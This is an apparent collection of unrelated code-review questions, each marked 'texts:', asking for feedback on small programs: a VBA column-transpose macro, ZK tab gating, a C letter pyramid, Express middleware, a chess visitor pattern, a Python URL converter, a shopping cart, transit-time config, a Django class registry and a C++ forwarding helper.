I have a macro where I open several text files to copy and transpose several columns into my worksheet. As it is now this actually works. I am right now opening the text file, copying a column, going back to my original worksheet pasting and transposing the data, then switching back and forward between the two sheets until all relevant columns have been copied, then I close down the text file and open a new one...

I figured it could probably be optimized if I understood VBA a little better.

My question is: can I save the column data as ranges instead and then copy it all at once and pasting and transposing it all at once as well? Or is there any other ways to improve my macro?

I have shown an example of my code below hope you can make sense of it (I have only shown the import of one column, the rest follow the same code):

Sub Hent_og_Transponer()

Dim f As String

    f = ActiveWorkbook.Name

'Select files for import

    Dim K As Integer
    FILOPEN = Application.GetOpenFilename("Files (*.txt; *.jpg; *.bmp; *.tif),*.chr; *_chr.txt; *chr.txt; *.tif", _
        , "Select Picture to Import", MultiSelect:=True)

    If IsArray(FILOPEN) Then
        For K = LBound(FILOPEN) To UBound(FILOPEN)
            Application.ScreenUpdating = False
            Workbooks.OpenText FileName:=FILOPEN(K), _
            Origin:=xlWindows, StartRow:=1, DataType:=xlDelimited, TextQualifier:= _
            xlDoubleQuote, ConsecutiveDelimiter:=False, Tab:=False, Semicolon:=True, _
            Comma:=False, Space:=False, Other:=False, FieldInfo:=Array(1, 2), _
            TrailingMinusNumbers:=True

'Save name of file opened

    Dim z As String

    z = ActiveWorkbook.Name

    Windows(Left(z, Len(z))).Activate

'Copy Temperature Data from opened file

    Range("A1").Select

'Find row with temp data

    Dim RowTemp1 As Range
    Dim RowTemp As Integer

    Set RowTemp1 = Range("B:B").Find("f in Hz", SearchOrder:=xlRows, MatchCase:=False)
    If Not RowTemp1 Is Nothing Then  ' if findrow is something (Prevents Errors)
                RowTemp = RowTemp1.Row      ' set FirstRow to the first time a match is found
    End If

    ActiveSheet.Cells(RowTemp + 1, 1).Select
    Range(Selection, Selection.End(xlDown)).Select

    Selection.Copy

    'Go back to DMA sheet

    Windows(Left(f, Len(f))).Activate

    'Paste and Transpose Temp Data

    If IsEmpty(ActiveSheet.Cells(4, 2).Value) = True Then
            ActiveSheet.Cells(4, 1).Select
            ActiveCell.Offset(0, 1).Range("A1").Select
                Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
                :=False, Transpose:=True

                ActiveSheet.Cells(4 + 5 + Range("A2").Value, 1).Select
                ActiveCell.Offset(0, 1).Range("A1").Select
                Selection.PasteSpecial Paste:=xlPasteValues,

Operation:=xlNone, SkipBlanks _
                    :=False, Transpose:=True
            End If
'Here I continue to do the same with different columns...

    Next K
    End If
End Sub

Textfile:

  Date / Time / Version: 29.03.2019 / 7:21:01 / HAAKE RheoWin 4.82.0001
  Substance / Sample no: pasta mix vége run1 / pasta mix vége run1

  ;f in Hz;|G*| in Pa;tan(delta) in -;Fn in N;h in mm;
  1|1;10,0;1736000;0,650;0,505;1,05; 1|2;5,62;1431000;0,603;0,486;1,05;
  1|3;3,16;1203000;0,575;0,510;1,05; 1|4;1,78;1016000;0,561;0,481;1,05;
  1|5;1,00;857000;0,565;0,471;1,05; 1|6;0,562;722300;0,585;0,447;1,05;
  1|7;0,316;608300;0,619;0,437;1,05; 1|8;0,178;505200;0,664;0,422;1,05;
  1|9;0,100;413900;0,715;0,383;1,05; 2|1;0,0562;328400;0,771;0,338;1,05;
  2|2;0,0316;264700;0,827;0,297;1,05;
  2|3;0,0178;208000;0,871;0,252;1,05;
  2|4;0,0100;159600;0,907;0,203;1,05;
  2|5;0,00562;129800;0,916;0,158;1,05;
  2|6;0,00316;98510;0,913;0,114;1,05;


texts:
Scenario:

I am working on  a Java/ZK Subscriber Management application. There are 2 tabs: Basic Info and STB-VC. The first one for creating a new subscriber and the second one for assigning STB/VC(Set-top box and viewing card).

I am trying to achieve/ensure Someone can only click/use the second tabpanel only after creating a new subscriber and not before.

I have the following code which does that. Is there a better way to achieve the task?

Subscriber.zul

    <window id="main" title="" border="normal"
        apply="com.sss.composer.SubscriberComposer" width="100%"
        height="100%">

            <image id="home" src="/img/home.png" width="30px" />
            <image id="logout" src="/img/logout.png" width="30px" />

        <tabbox id="tb">
            <tabs id="tabs">
                <tab id="A" label="Basic Info" />
                <tab id="B" label="STB-VC" />
            </tabs>
            <tabpanels>
                <tabpanel id="basic">

                    <include id="inc1" src="basic.zul"></include>
                </tabpanel>
                <tabpanel id="stbvc">
                    <include id="inc2"></include>
                </tabpanel>
                <tabpanel>

                </tabpanel>
                <tabpanel>

                <tabpanel>

                </tabpanel>
            </tabpanels>
        </tabbox>
    </window>

SubscriberComposer

public void onSelect$tb(ForwardEvent fe) {

        try {
            Object o = fe.getOrigin().getTarget();

            if (o instanceof Tab) {

                Tab t = (Tab) o;

                Tabpanel tp = t.getLinkedPanel();

                tp.invalidate();

                if ((tp.getId().equals("stbvc") && (Sessions.getCurrent()
                        .getAttribute("subscriber") == null))) {

                    Messagebox.show(
                            "Create Subscriber first,then assign STB/VC!",
                            "Warning", Messagebox.OK, Messagebox.INFORMATION);

                    tb.setSelectedPanel(basic);

                } else {

                    inc2.setSrc("stbvc.zul");

                    System.out.println("Subscriber ID set in session...");
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


texts:
I want to know if I can improve this program. Its goal is to print a pattern in a pyramid form, by first receiving a letter. The first row is always 'A', only. Then 'ABA', then 'ABCBA'. Increasing order, then decreasing.

#include <stdio.h>

int main(void)
{
    char alphabet[26] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char letter;

    printf("Enter an uppercase letter: ");
    scanf("%c", &letter);

    letter -= 65;

    for (int row = 0; row <= letter; row++)
    {
        for (int spaces = letter; spaces > row; spaces--)
            printf(" ");

        for (char letter2 = 0; letter2 <= row; letter2++)
            printf("%c", alphabet[letter2]);

        for (char letter3 = 0 + row; --letter3 >= 0; )
            printf("%c", alphabet[letter3]);

        printf("\n");
    }
}


texts: Express error if agency not found middleware

texts:
In an api I'm building, I have multiple routes that require an agency to exist before any action is performed on the requested agency.

To avoid repetition I've written some middleware to check that the agency does indeed exist before continuing (and throws if it does not).

The code I have works but I have to make two requests to the db, I'm wondering if I can accomplish the same goal with only a single query.

Here is my code:

// routes/v1/index.js

const express = require("express")
const router = require("express-promise-router")()

router.use(["/agencies/:id", "/agencies/:id/*"], agencies.checkExistsByReqId)

router
  .route("/agencies/:id")
  .get(agencies.getById)
  .patch(agencies.patch)
  .delete(agencies.delete)

export default router

// controllers/v1/agencies/checkExistsByReqId.js

import db from "../../../db"
import { AgencyDoesNotExistError } from "../../../errors"

export default async (req, res, next) => {
  // note: To make the query as small as possible this just returns an id if exists
  const exists = await db.agency.checkExistsById(req.params.id)

  if (!exists) throw new AgencyDoesNotExistError()

  next()
}

// /controllers/v1/agencies/getById.js

import db from "../../../db"
import { AgencyDoesNotExistError } from "../../../errors"

export default async (req, res) => {
  const agency = await db.agency.getById(req.params.id)

  const isMember = agency.members.find(member => member.authId === req.user.sub)
  if (!isMember) throw new AgencyDoesNotExistError()

  res.send(agency)
}

// db/index.js

export const agency = {
  create: async data => new Agency(data).save(),
  findOne: filter => Agency.findOne(filter),
  findOneAndUpdate: (filter, update, options) =>
    Agency.findOneAndUpdate(filter, update, options),
  getById: async agencyId => Agency.findById(agencyId).populate("members"),
  checkExistsById: agencyId => Agency.findById(agencyId, "_id")
}


texts:
I'm currently working on a small chess game written in Java (on GitHub). The board is modeled as a Board object with a 2D array of Piece objects :

public class Board {

  private final int ROWS = 8;
  private final int COLS = 8;

  private Piece[][] board;
  private List<Move> moveList;

  [...]

}

At first, I tried to implement all the board's possible states / legal move generation (isCheck, isCheckMate, isStaleMate, legalMoves...) inside the Board class.

For example :

private List<Move> moves(Color color) {

  List<Move> allMoves = new ArrayList<Move>();

  for (int row = 0; row < ROWS; row++) {
      for (int col = 0; col < COLS; col++) {
            Square src = new Square(row, col);
            Piece piece = getPiece(src);

            if (piece == null || !piece.isColor(color))
                 continue;

             allMoves.addAll(piece.availableMoves(src, this));
       }
  }

  return allMoves;
}

However it ended up being about 300 lines and it was not very easy to read (especially because of the duplication of the board iteration loops).

So I decided to try another approach : I removed all the state evaluation code and replaced it with this method :

 public void accept(BoardVisitor bv) {
    for (int row = 0; row < rows; row++) {
       for (int col = 0; col < cols; col++) {
          bv.visit(board[row][col], new Square(row, col));
       }
    }
 }

I then created a set of classes to "evaluate" the different states :

public class CheckEvaluator implements BoardVisitor {

private Square kingSquare;
private Board board;
private Color color;
private boolean isCheck = false;

public CheckEvaluator(Color color, Board board) {
    this.board = board;
    this.color = color;
}

@Override
public void visit(Piece piece, Square src) {
        isCheck = isCheck || piece.canGoTo(src, kingSquare, board);
}

public boolean getResult() {
    this.kingSquare = board.findKing(color);

    board.accept(this);

    return isCheck;
}
}

I regrouped all these evaluators inside a single class :

public class BoardEvaluator {

private Board board;

public BoardEvaluator(Board board) {
    this.board = board;
}

public boolean isCheck(Color color) {
    CheckEvaluator ce = new CheckEvaluator(color, board);

    return ce.getResult();
}

public boolean isCheckMate(Color color) {
    CheckMateEvaluator cme = new CheckMateEvaluator(color, board);

    return cme.getResult();
}

public boolean isStaleMate() {
    StaleMateEvaluator sme = new StaleMateEvaluator(board);

    return sme.getResult();
}

public List<Move> legalMoves(Color color) {
    LegalMovesEvaluator lme = new LegalMovesEvaluator(color, board);

    return lme.getResult();
}

This version seems clearer and easier to me but I don't have a lot of experience and I'd be very glad to get some feedback about it:

Do you think this is a valid design?
Is my BoardVisitor a good (if simple) implementation of the Visitor pattern?


texts: A tiny util to converts an SO URL to revised version

texts:
I am trying to write a util that converts an SO URL to revised version, for example, given this url:

'https://stackoverflow.com/q/57449318/10731613'

this util returns:

'https://stackoverflow.com/posts/57449318/revisions'

here is the code

import re
url = input()
if len(url)<10:
    url = 'https://stackoverflow.com/q/57449318/10731613'
url.replace(re.findall('\/\d{3,9}', url)[-1], '', 1).replace('/q', '/posts', 1)+'/revisions'

It works, and I would like some code review.


texts:
I completed the following task:

  You need to create the foundations of an e-commerce engine for a B2C (business-to-consumer) retailer. You need to have a class for a customer
  called User, a class for items in inventory called Item, and a shopping cart class calledCart. Items go in Carts, and Users can have multiple Carts. Also, multiple items can go into Carts, including more than one of any single item.

I am a new Pythoner, and don't have good knowledge of OOP. I feel the code is not good. I welcome recommendations to improve the code.Here's my code:

class Item(object):
    def __init__(self,itemname,itemprice):
        self.__itemname = itemname
        self.__itemprice = itemprice

    def GetItemName(self):
        return self.__itemname

    def GetItemPrice(self):
        return self.__itemprice

    def ChangeItemPrice(self,newprcie):
        self.__itemprice = newprcie

class Cart(dict):      #cart dict format:  {itemname:[price,number]}
    def ShowCart(self):
        return self

class User(object):
    def __init__(self, name):
        self.name = name
        self.__cartlist = {}
        self.__cartlist[0] = Cart()

    def AddCart(self):
        self.__cartlist[len(self.__cartlist)] = Cart()

    def GetCart(self, cartindex = 0):
        return self.__cartlist[cartindex]

    def BuyItem(self, item, itemnum, cartindex = 0):
        try:
            self.__cartlist[cartindex][item.GetItemName()][1] += itemnum
        except:
            self.__cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})

    def BuyCancle(self, itemname, itemnum, cartindex = 0):
        pass

if __name__ == '__main__':

    item1 = Item('apple', 7.8)
    item2 = Item('pear', 5)

    user1 = User('John')

    user1.BuyItem(item1, 5)
    print("user1 cart0 have: %s" % user1.GetCart(0).ShowCart())

    user1.BuyItem(item2, 6)
    print("user1 cart0 have: %s" % user1.GetCart(0).ShowCart())

    user1.AddCart()
    user1.BuyItem(item1, 5, 1)
    print("user1 cart1 have: %s" % user1.GetCart(1).ShowCart())


texts: Python function - use config constant or put ID numbers in function?

texts:
I am refactoring a function that calculates how many days to add to a process based on destination country or state.
The original function called the database twice, even though the database table stored four values. My thought is to remove the database calls and use a config constant, or simply put the relevant ID numbers right in the code. Which of these methods do you think is best? Or should I do something different?
# Method 1
def get_transit_time(country, state=None):
    if country.id in [1, 221]:  # US, Puerto Rico
        days = 7
    elif country.id in [13, 138]:  # Australia, New Zealand
        days = 10
    elif country.id == 37:  # Canada
        days = 12
    else:
        days = 14  # all others

    if state and state.id in [2, 15]:  # Hawaii, Alaska
        days = 10

    return days

# method 2 (allows for growth via config constant)
SEND_DELAY_COUNTRIES = [
    {'country_id': 1, 'delay': 7},
    {'country_id': 221, 'delay': 7},
    {'country_id': 13, 'delay': 10},
    {'country_id': 138, 'delay': 10},
    {'country_id': 37, 'delay': 12}
]

SEND_DELAY_STATES = [
    {'state_id': 2, 'delay': 10},
    {'state_id': 10, 'delay': 10}
]

def get_card_transit_time(country, state=None):
    days = 14  # default if no result found

    for country_config in SEND_DELAY_COUNTRIES:
        if country_config['country_id'] == country.id:
            days = country_config['delay']

    if state:
        for state_config in SEND_DELAY_STATES:
            if state_config['state_id'] == state.id:
                days = state_config['delay']

    return days


texts:
I built this auto registering registry to look into a package and import all modules and register any classes that are a subclass of a base class. I use it as a registry for a model's choices in Django and to be able to do a getattr on the class to get properties in a service that processes some data based on choices selected and dynamically finds the right class.

Reasoning behind this methodology is because we would have an unknown number of stat classes that will be created in the future. I wanted to avoid forgetting to register them and to hide the implementation details of the choices on the model (The model is absolutely massive). So I wanted a folder that just takes care of that for us.

I am trying to determine if this is breaking any best practices, is a good design, safe, efficient and not doing anything downright stupid. (Maybe the dynamic import).

Base class for using it other places if need be

class AutoRegClassRegistry(Singleton):
    PACKAGE = None
    BASE_CLS = None

    def __init__(self, force_import=True, *args, **kwargs):
        super(AutoRegClassRegistry, self).__init__(*args, **kwargs)

        self.force_import = force_import
        if self.PACKAGE:
            package_dir = os.path.dirname(self.PACKAGE.__file__)
            for module in [name for _, name, _ in pkgutil.iter_modules([package_dir])]:
                module = "{}.{}".format(self.PACKAGE.__name__, module)
                if self.force_import:
                    _ = __import__(module)
                for name, obj in inspect.getmembers(sys.modules[module], inspect.isclass):
                    if name == self.BASE_CLS.__name__:
                        continue
                    if issubclass(obj, self.BASE_CLS):
                        self.register(obj)

    def register(self):
        raise NotImplementedError("You must inherit from this class and override the register func")

Project structure

- init.py (this ClientStats class in here)
- base.py
- autoregister
    - init.py
    - hourly.py
    - daily.py
    - weekly.py
    - monthly.py

Implementation

class ClientStats(AutoRegClassRegistry):
    """
    A registry for client stats that also behaves as a tuple when used as a choices field. You can also do a getattr on
    this class to get the class, description or short of a stat.
    """
    PACKAGE = auto_register
    BASE_CLS = BaseStat

    def __init__(self, *args, **kwargs):
        self.__choices = []
        super(ClientStats, self).__init__(*args, **kwargs)

    def __getitem__(self, key):
        return self.__choices[key]

    def __iter__(self):
        return iter(self.__choices)

    def register(self, cls):
        cls_short = getattr(cls, "SHORT", None)
        if not cls_short:
            raise AttributeError("CLS {} doesn't have attribute 'SHORT' which is required to register to ClientStats")
        cls_desc = getattr(cls, "DESCRIPTION", None)
        if not cls_desc:
            raise AttributeError(
                "CLS {} doesn't have attribute 'DESCRIPTION' which is required to register to ClientStats")
        if hasattr(self, cls_short):
            raise AttributeError("ClientStats already has a {} registered".format(cls_short))
        setattr(self, cls_short, cls_short)
        setattr(self, "{}_DESC".format(cls_short), cls_desc)
        setattr(self, "{}_CLS".format(cls_short), cls)
        self.__choices.append((cls_short, getattr(self, "{}_DESC".format(cls_short))))

CLIENT_STATS = ClientStats()

Example class that gets registered

class DailyStatExample(BaseStat):
    SHORT = "DSE"
    DESCRIPTION = "Example stat class"

Sample usage of the ClientStats class:

models.py

class ExampleModel(models.Model):
    client_stats = MultiSelectSlugField(choices=CLIENT_STATS)

script.py

stats = ExampleModel.objects.get(pk=1).client_stats
for stat in stats:
    klass = getattr(CLIENT_STATS, "{}_CLS".format(stat)
    klass_inst = klass()
    klass.calculate(arg1, arg2)


texts: Elementwise perfect forwarding of a member range

texts:
Perfect forwarding is usually done with std::forward. E.g.,

template<typename T>
void foo( T&& t ) {
    bar(std::forward<T>(t));
}

for some function bar(). Sometimes, only a member of t, say t.x, needs to be forwarded. This is also a solved problem

template<typename T>
void foo( T&& t ) {
    bar(std::forward<T>(t).x);
}

...But what if t has a range member, say t.range, and bar takes an element from said range? E.g.,

template<typename T>
void foo( T&& t ) {
    for (auto& r : t.range)
        bar(???(r));
}

Here, ??? is a placeholder for a cast which forwards the type of r as the type of t itself would be forwarded.

Note that simply writing

template<typename T>
void foo( T&& t ) {
    for (auto&& r : std::forward<T>(t).range)
        bar(r);
}

won't work as r is still named and will always pass by value or l-value reference but never by r-value reference. To solve this I introduce forward_as<T>

////////////////////////////////////////////////////////////////////////////////
/// Forward As
///
/// Forwards u of type U as T would be forwarded. I.e., u is forwarded
/// like some t would be forwarded by std::forward<T>(t). The cv-qualifiers of
/// U are preserved. E.g., forward_as<T, std::string>(u) casts u to:
///
///  (1) std::string& if T is int&
///  (2) std::string& if T is const int&
///  (3) std::string&& if T is int&&
///
/// Analogously, forward_as<T, const std::string>(u) casts u to:
///
///  (1) const std::string& if T is int&
///  (2) const std::string& if T is const int&
///  (3) const std::string&& if T is int&&
///
////////////////////////////////////////////////////////////////////////////////
template<typename T, typename U>
auto forward_as( U&& u ) -> std::conditional_t<
        std::is_reference<T>::value,
        std::remove_reference_t<U>&,
        std::remove_reference_t<U>&&>
{
    return static_cast<std::conditional_t<
        std::is_reference<T>::value,
        std::remove_reference_t<U>&,
        std::remove_reference_t<U>&&>>(u);
}

Note that I use auto with a trailing return type. This is because my compiler is old. It should work just fine with decltype(auto) on a C++14 compliant compiler. Also note that I've chosen to preserve cv-qualifiers of the given type.

Now the problem from before can be solved by

template<typename T>
void foo( T&& t ) {
    for (auto& r : t.range)
        bar(forward_as<T>(r));
}

Direct member forwarding is also possible using forward_as<T>(t.x).

Have I missed any edge cases? Is there an alternative to all of this? Any suggestions for interface/naming/style improvements?

Edit: I've made a code sample. The syntax is slightly more verbose since the ideone compiler only supports C++11. The underlying principle is the same.